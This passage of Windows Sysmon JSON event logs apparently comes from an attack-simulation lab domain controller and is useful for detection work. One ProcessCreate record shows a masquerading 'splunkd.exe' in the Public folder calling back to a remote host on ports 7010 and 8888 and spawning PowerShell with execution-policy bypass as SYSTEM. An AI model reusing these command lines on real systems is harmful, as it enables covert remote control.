{90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1501,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1502,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1503,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1504,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1505,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1506,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1507,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.915\r\nProcessGuid: {90617006-3FE4-5F2D-0000-001034A30200}\r\nProcessId: 3572\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: powershell.exe -ExecutionPolicy Bypass -C xyseld\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-3FDB-5F2D-0000-00103EF90100}\r\nParentProcessId: 2940\r\nParentImage: C:\\Users\\Public\\splunkd.exe\r\nParentCommandLine: \"C:\\Users\\Public\\splunkd.exe\" -socket 10.0.1.12:7010 -http http://10.0.1.12:8888 -contact tcp ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.915","ProcessGuid":"{90617006-3FE4-5F2D-0000-001034A30200}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"powershell.exe -ExecutionPolicy Bypass -C xyseld","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-3FDB-5F2D-0000-00103EF90100}","ParentProcessId":"2940","ParentImage":"C:\\Users\\Public\\splunkd.exe","ParentCommandLine":"\"C:\\Users\\Public\\splunkd.exe\" -socket 10.0.1.12:7010 -http http://10.0.1.12:8888 -contact tcp ","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1508,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.915\r\nSourceProcessGUID: {90617006-3FDB-5F2D-0000-00103EF90100}\r\nSourceProcessId: 2940\r\nSourceThreadId: 3000\r\nSourceImage: C:\\Users\\Public\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001034A30200}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Users\\Public\\splunkd.exe+5c36e","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 